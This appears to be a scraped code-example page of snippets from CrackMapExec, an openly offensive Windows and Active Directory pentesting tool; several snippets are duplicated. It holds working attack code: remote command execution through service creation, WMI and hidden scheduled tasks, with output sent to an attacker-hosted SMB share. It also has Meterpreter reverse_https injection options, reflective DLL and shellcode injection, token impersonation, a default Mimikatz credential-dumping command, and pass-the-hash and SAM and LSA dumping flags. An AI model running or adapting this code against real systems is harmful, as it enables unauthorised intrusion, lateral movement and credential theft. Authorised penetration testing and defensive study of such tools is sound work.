Exemple #1
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        self.__batchFile = gen_random_string(6) + '.bat'
        local_ip = self.__rpctransport.get_socket().getsockname()[0]

        if self.__retOutput:
            command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(
                local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data

        with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile),
                  'w') as batch_file:
            batch_file.write(command)

        logging.debug('Hosting batch file with command: ' + command)

        command = self.__shell + '\\\\{}\\{}\\{}'.format(
            local_ip, self.__share_name, self.__batchFile)
        logging.debug('Command to execute: ' + command)

        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output_fileless()
Exemple #2
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string()
        self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'

        if self.__retOutput:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile

        command += ' & ' + 'del ' + self.__batchFile

        logging.debug('Executing command: ' + command)

        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Exemple #3
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        self.__batchFile = gen_random_string(6) + ".bat"
        local_ip = self.__rpctransport.get_socket().getsockname()[0]

        if self.__retOutput:
            command = self.__shell + data + " ^> \\\\{}\\{}\\{}".format(local_ip, self.__share_name, self.__output)
        else:
            command = self.__shell + data

        with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file:
            batch_file.write(command)

        logging.debug("Hosting batch file with command: " + command)

        command = self.__shell + "\\\\{}\\{}\\{}".format(local_ip, self.__share_name, self.__batchFile)
        logging.debug("Command to execute: " + command)

        resp = scmr.hRCreateServiceW(
            self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command
        )
        service = resp["lpServiceHandle"]

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output_fileless()
    def options(self, context, module_options):
        '''
            LHOST    IP hosting the handler
            LPORT    Handler port
            PAYLOAD  Payload to inject: reverse_http or reverse_https (default: reverse_https)
            PROCID   Process ID to inject into (default: current powershell process)
        '''

        if not 'LHOST' in module_options or not 'LPORT' in module_options:
            context.log.error('LHOST and LPORT options are required!')
            exit(1)

        self.met_payload = 'reverse_https'
        self.lhost = None
        self.lport = None
        self.procid = None

        if 'PAYLOAD' in module_options:
            self.met_payload = module_options['PAYLOAD']

        if 'PROCID' in module_options:
            self.procid = module_options['PROCID']

        self.lhost = module_options['LHOST']
        self.lport = module_options['LPORT']
        self.obfs_name = gen_random_string()
Exemple #5
0
    def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
        self.__target = target
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__smbconnection = smbconnection
        self.__output = '\\' + gen_random_string(6)
        self.__outputBuffer = ''
        self.__shell = 'cmd.exe /Q /c '
        self.__pwd = 'C:\\'
        self.__aesKey = None
        self.__doKerberos = False
        self.__retOutput = True

        if hashes is not None:
        #This checks to see if we didn't provide the LM Hash
            if hashes.find(':') != -1:
                self.__lmhash, self.__nthash = hashes.split(':')
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = '' 

        self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
        iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
    def options(self, context, module_options):
        '''
            PATH     Path to dll/exe to inject
            PROCID   Process ID to inject into (default: current powershell process)
            EXEARGS  Arguments to pass to the executable being reflectively loaded (default: None)
        '''

        if not 'PATH' in module_options:
            context.log.error('PATH option is required!')
            exit(1)

        self.payload_path = os.path.expanduser(module_options['PATH'])
        if not os.path.exists(self.payload_path):
            context.log.error('Invalid path to EXE/DLL!')
            exit(1)

        self.procid  = None
        self.exeargs = None

        if 'PROCID' in module_options:
            self.procid = module_options['PROCID']

        if 'EXEARGS' in module_options:
            self.exeargs = module_options['EXEARGS']

        self.obfs_name = gen_random_string()
Exemple #7
0
    def options(self, context, module_options):
        '''
            PATH     Path to dll/exe to inject
            PROCID   Process ID to inject into (default: current powershell process)
            EXEARGS  Arguments to pass to the executable being reflectively loaded (default: None)
        '''

        if not 'PATH' in module_options:
            context.log.error('PATH option is required!')
            exit(1)

        self.payload_path = os.path.expanduser(module_options['PATH'])
        if not os.path.exists(self.payload_path):
            context.log.error('Invalid path to EXE/DLL!')
            exit(1)

        self.procid = None
        self.exeargs = None

        if 'PROCID' in module_options:
            self.procid = module_options['PROCID']

        if 'EXEARGS' in module_options:
            self.exeargs = module_options['EXEARGS']

        self.obfs_name = gen_random_string()
Exemple #8
0
    def options(self, context, module_options):
        '''
            COMMAND  Command to execute on the target system(s) (Required if CMDFILE isn't specified)
            CMDFILE  File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
        '''

        if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
            context.log.error('COMMAND or CMDFILE options are required!')
            exit(1)

        if 'COMMAND' in module_options and 'CMDFILE' in module_options:
            context.log.error('COMMAND and CMDFILE are mutually exclusive!')
            exit(1)

        if 'COMMAND' in module_options:
            self.command = module_options['COMMAND']

        elif 'CMDFILE' in module_options:
            path = os.path.expanduser(module_options['CMDFILE'])

            if not os.path.exists(path):
                context.log.error('Path to CMDFILE invalid!')
                exit(1)

            with open(path, 'r') as cmdfile:
                self.command = cmdfile.read().strip()

        self.sct_name = gen_random_string(5)
Exemple #9
0
    def options(self, context, module_options):
        '''
            COMMAND  Command to execute on the target system(s) (Required if CMDFILE isn't specified)
            CMDFILE  File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
        '''

        if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
            context.log.error('COMMAND or CMDFILE options are required!')
            exit(1)

        if 'COMMAND' in module_options and 'CMDFILE' in module_options:
            context.log.error('COMMAND and CMDFILE are mutually exclusive!')
            exit(1)

        if 'COMMAND' in module_options:
            self.command = module_options['COMMAND']

        elif 'CMDFILE' in module_options:
            path = os.path.expanduser(module_options['CMDFILE'])

            if not os.path.exists(path):
                context.log.error('Path to CMDFILE invalid!')
                exit(1)

            with open(path, 'r') as cmdfile:
                self.command = cmdfile.read().strip()

        self.sct_name = gen_random_string(5)
    def options(self, context, module_options):
        '''
            LHOST    IP hosting the handler
            LPORT    Handler port
            PAYLOAD  Payload to inject: reverse_http or reverse_https (default: reverse_https)
            PROCID   Process ID to inject into (default: current powershell process)
        '''

        if not 'LHOST' in module_options or not 'LPORT' in module_options:
            context.log.error('LHOST and LPORT options are required!')
            exit(1)

        self.met_payload = 'reverse_https'
        self.lhost = None
        self.lport = None
        self.procid = None

        if 'PAYLOAD' in module_options:
            self.met_payload = module_options['PAYLOAD']

        if 'PROCID' in module_options:
            self.procid = module_options['PROCID']

        self.lhost = module_options['LHOST']
        self.lport = module_options['LPORT']
        self.obfs_name = gen_random_string()
Exemple #11
0
    def options(self, context, module_options):
        '''
            USER      Search for the specified username in available tokens (default: None)
            USERFILE  File containing usernames to search for in available tokens (defult: None)
        '''

        self.user = None
        self.userfile = None

        if 'USER' in module_options and 'USERFILE' in module_options:
            context.log.error(
                'USER and USERFILE options are mutually exclusive!')
            sys.exit(1)

        if 'USER' in module_options:
            self.user = module_options['USER']

        elif 'USERFILE' in module_options:
            path = os.path.expanduser(module_options['USERFILE'])

            if not os.path.exists(path):
                context.log.error('Path to USERFILE invalid!')
                sys.exit(1)

            self.userfile = path

        self.obfs_name = gen_random_string()
Exemple #12
0
    def options(self, context, module_options):
        '''
            USER      Search for the specified username in available tokens (default: None)
            USERFILE  File containing usernames to search for in available tokens (defult: None)
        '''

        self.user = None
        self.userfile = None

        if 'USER' in module_options and 'USERFILE' in module_options:
            context.log.error('USER and USERFILE options are mutually exclusive!')
            sys.exit(1)

        if 'USER' in module_options:
            self.user = module_options['USER']

        elif 'USERFILE' in module_options:
            path = os.path.expanduser(module_options['USERFILE'])
            
            if not os.path.exists(path):
                context.log.error('Path to USERFILE invalid!')
                sys.exit(1) 

            self.userfile = path

        self.obfs_name = gen_random_string()
Exemple #13
0
    def __init__(
        self, host, share_name, protocol, username="", password="", domain="", hashes=None, share=None, port=445
    ):
        self.__host = host
        self.__share_name = share_name
        self.__port = port
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__share = share
        self.__output = None
        self.__batchFile = None
        self.__outputBuffer = ""
        self.__shell = "%COMSPEC% /Q /c "
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        # self.__mode  = mode
        # self.__aesKey = aesKey
        # self.__doKerberos = doKerberos

        if hashes is not None:
            # This checks to see if we didn't provide the LM Hash
            if hashes.find(":") != -1:
                self.__lmhash, self.__nthash = hashes.split(":")
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ""

        stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host
        logging.debug("StringBinding %s" % stringbinding)
        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(self.__port)

        if hasattr(self.__rpctransport, "setRemoteHost"):
            self.__rpctransport.setRemoteHost(self.__host)
        if hasattr(self.__rpctransport, "set_credentials"):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash
            )
        # rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()
        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp["lpScHandle"]
Exemple #14
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]

        command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)

        logging.debug('Executing command: ' + command)
        self.__win32Process.Create(command, self.__pwd, None)
        self.get_output_fileless()
Exemple #15
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string(6)

        command = self.__shell + data
        if self.__retOutput:
            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'

        logging.debug('Executing command: ' + command)
        self.__win32Process.Create(command, self.__pwd, None)
        self.get_output()
Exemple #16
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string(6)

        command = self.__shell + data 
        if self.__retOutput:
            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output  + ' 2>&1'

        logging.debug('Executing command: ' + command)
        self.__win32Process.Create(command, self.__pwd, None)
        self.get_output_remote()
Exemple #17
0
    def execute_fileless(self, data):
        self.__output = gen_random_string(6)
        local_ip = self.__smbconnection.getSMBServer().get_socket(
        ).getsockname()[0]

        command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(
            local_ip, self.__share_name, self.__output)

        logging.debug('Executing command: ' + command)
        self.__win32Process.Create(command, self.__pwd, None)
        self.get_output_fileless()
    def options(self, context, module_options):
        '''
           COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
        '''

        self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'

        if module_options and 'COMMAND' in module_options:
            self.mimikatz_command = module_options['COMMAND']

        #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))

        self.obfs_name = gen_random_string()
Exemple #19
0
    def options(self, context, module_options):
        '''
           COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
        '''

        self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'

        if module_options and 'COMMAND' in module_options:
            self.mimikatz_command = module_options['COMMAND']

        #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))

        self.obfs_name = gen_random_string()
Exemple #20
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string() 
        self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'

        if self.__retOutput:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        
        command += ' & ' + 'del ' + self.__batchFile 

        logging.debug('Executing command: ' + command)

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Exemple #21
0
    def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
        self.__target = target
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__share = share
        self.__smbconnection = smbconnection
        self.__output = "\\" + gen_random_string(6)
        self.__outputBuffer = ""
        self.__shell = "cmd.exe /Q /c "
        self.__pwd = "C:\\"
        self.__aesKey = None
        self.__doKerberos = False
        self.__retOutput = True

        if hashes is not None:
            # This checks to see if we didn't provide the LM Hash
            if hashes.find(":") != -1:
                self.__lmhash, self.__nthash = hashes.split(":")
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ""

        self.__dcom = DCOMConnection(
            self.__target,
            self.__username,
            self.__password,
            self.__domain,
            self.__lmhash,
            self.__nthash,
            self.__aesKey,
            oxidResolver=True,
            doKerberos=self.__doKerberos,
        )
        iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
        iWbemLevel1Login.RemRelease()

        self.__win32Process, _ = iWbemServices.GetObject("Win32_Process")
    def options(self, context, module_options):
        '''
            TARGET   Target machine(s) to execute the command on (comma seperated)
            USER     User to impersonate
            DOMAIN   Domain of the user to impersonate
            CMD      Command to execute on the target system(s) (Required if CMDFILE isn't specified)
            CMDFILE  File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
        '''

        if not 'TARGET' in module_options or not 'USER' in module_options or not 'DOMAIN' in module_options:
            context.log.error('TARGET, USER and DOMAIN options are required!')
            sys.exit(1)

        if not 'CMD' in module_options and not 'CMDFILE' in module_options:
            context.log.error('CMD or CMDFILE options are required!')
            sys.exit(1)

        if 'CMD' in module_options and 'CMDFILE' in module_options:
            context.log.error('CMD and CMDFILE are mutually exclusive!')
            sys.exit(1)

        self.target_computers = ''
        self.target_user = module_options['USER']
        self.target_domain = module_options['DOMAIN']

        if 'CMD' in module_options:
            self.command = module_options['CMD']
        elif 'CMDFILE' in module_options:
            path = os.path.expanduser(module_options['CMDFILE'])

            if not os.path.exists(path):
                context.log.error('Path to CMDFILE invalid!')
                sys.exit(1)

            with open(path, 'r') as cmdfile:
                self.command = cmdfile.read().strip() 

        targets = module_options['TARGET'].split(',')
        for target in targets:
            self.target_computers += '"{}",'.format(target)
        self.target_computers = self.target_computers[:-1]

        self.obfs_name = gen_random_string()
    def options(self, context, module_options):
        '''
            PATH     Path to the raw shellcode to inject
            PROCID   Process ID to inject into (default: current powershell process)
        '''

        if not 'PATH' in module_options:
            context.log.error('PATH option is required!')
            exit(1)

        self.shellcode_path = os.path.expanduser(module_options['PATH'])
        if not os.path.exists(self.shellcode_path):
            context.log.error('Invalid path to shellcode!')
            exit(1)

        self.procid = None

        if 'PROCID' in module_options.keys():
            self.procid = module_options['PROCID']

        self.obfs_name = gen_random_string()
    def options(self, context, module_options):
        '''
            PATH     Path to the raw shellcode to inject
            PROCID   Process ID to inject into (default: current powershell process)
        '''

        if not 'PATH' in module_options:
            context.log.error('PATH option is required!')
            exit(1)

        self.shellcode_path = os.path.expanduser(module_options['PATH'])
        if not os.path.exists(self.shellcode_path):
            context.log.error('Invalid path to shellcode!')
            exit(1)

        self.procid  = None

        if 'PROCID' in module_options.keys():
            self.procid = module_options['PROCID']

        self.obfs_name = gen_random_string()
Exemple #25
0
    def doStuff(self, command):
        def output_callback(data):
            self.__outputBuffer = data

        dce = self.__rpctransport.get_dce_rpc()

        dce.set_credentials(*self.__rpctransport.get_credentials())
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(tsch.MSRPC_UUID_TSCHS)
        tmpName = gen_random_string(8)

        xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>cmd.exe</Command>
"""
        if self.__retOutput:
            tmpFileName = tmpName + '.tmp'
            xml += """      <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(command, tmpFileName)

        elif self.__retOutput is False:
            xml += """      <Arguments>/C {}</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(command)

        #logging.info("Task XML: {}".format(xml))
        taskCreated = False
        #logging.info('Creating task \\%s' % tmpName)
        tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE,
                                 NULL, tsch.TASK_LOGON_NONE)
        taskCreated = True

        #logging.info('Running task \\%s' % tmpName)
        tsch.hSchRpcRun(dce, '\\%s' % tmpName)

        done = False
        while not done:
            #logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
            if resp['pLastRuntime']['wYear'] != 0:
                done = True
            else:
                sleep(2)

        #logging.info('Deleting task \\%s' % tmpName)
        tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
        taskCreated = False

        if taskCreated is True:
            tsch.hSchRpcDelete(dce, '\\%s' % tmpName)

        peer = ':'.join(
            map(str,
                self.__rpctransport.get_socket().getpeername()))
        #self.__logger.success('Executed command via ATEXEC')

        if self.__retOutput:
            smbConnection = self.__rpctransport.get_smb_connection()
            while True:
                try:
                    #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
                    smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName,
                                          output_callback)
                    break
                except Exception as e:
                    if str(e).find('SHARING') > 0:
                        sleep(3)
                    elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                        sleep(3)
                    else:
                        raise
            #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
            smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
        else:
            pass
            #logging.info('Output retrieval disabled')

        dce.disconnect()
Exemple #26
0
    def doStuff(self, command):
        
        def output_callback(data):
            self.__outputBuffer = data

        dce = self.__rpctransport.get_dce_rpc()

        dce.set_credentials(*self.__rpctransport.get_credentials())
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(tsch.MSRPC_UUID_TSCHS)
        tmpName = gen_random_string(8)

        xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>cmd.exe</Command>
"""
        if self.__retOutput:
            tmpFileName = tmpName + '.tmp'
            xml+= """      <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(command, tmpFileName)
        
        elif self.__retOutput is False:
            xml+= """      <Arguments>/C {}</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(command)

        #logging.info("Task XML: {}".format(xml))
        taskCreated = False
        #logging.info('Creating task \\%s' % tmpName)
        tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
        taskCreated = True

        #logging.info('Running task \\%s' % tmpName)
        tsch.hSchRpcRun(dce, '\\%s' % tmpName)

        done = False
        while not done:
            #logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
            if resp['pLastRuntime']['wYear'] != 0:
                done = True
            else:
                sleep(2)

        #logging.info('Deleting task \\%s' % tmpName)
        tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
        taskCreated = False

        if taskCreated is True:
            tsch.hSchRpcDelete(dce, '\\%s' % tmpName)

        peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
        #self.__logger.success('Executed command via ATEXEC')

        if self.__retOutput:
            smbConnection = self.__rpctransport.get_smb_connection()
            while True:
                try:
                    #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
                    smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
                    break
                except Exception as e:
                    if str(e).find('SHARING') > 0:
                        sleep(3)
                    elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                        sleep(3)
                    else:
                        raise
            #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
            smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
        else:
            pass
            #logging.info('Output retrieval disabled')

        dce.disconnect()
def main():

    VERSION  = '3.1.5-dev'
    CODENAME = '\'Stoofvlees\''

    parser = argparse.ArgumentParser(description=""" 
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______ 
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |     
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|


                     Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                           Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                       Inspired by:
                                @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                                @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                                @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
                                                         
                                                      {}: {}
                                                  {}: {}
    """.format(highlight('Version', 'red'),
               highlight(VERSION),
               highlight('Codename', 'red'),
               highlight(CODENAME)),

                                    formatter_class=RawTextHelpFormatter,
                                    version='{} - {}'.format(VERSION, CODENAME),
                                    epilog="What is it? It's a stew... But what is it? It's a stew...")

    parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
    parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
    parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
    parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames")
    ddgroup = parser.add_mutually_exclusive_group()
    ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
    ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
    msgroup = parser.add_mutually_exclusive_group()
    msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '+', default=[], help="Password(s) or file(s) containing passwords")
    msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
    mcgroup = parser.add_mutually_exclusive_group()
    mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
    mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
    parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
    parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
    parser.add_argument('--show-options', action='store_true', help='Display module options')
    parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)")
    parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
    parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
    parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
    parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
    parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
    parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
    fail_group = parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts')
    fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username')
    fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host')
    parser.add_argument("--verbose", action='store_true', help="Enable verbose output")

    rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
    rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
    rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
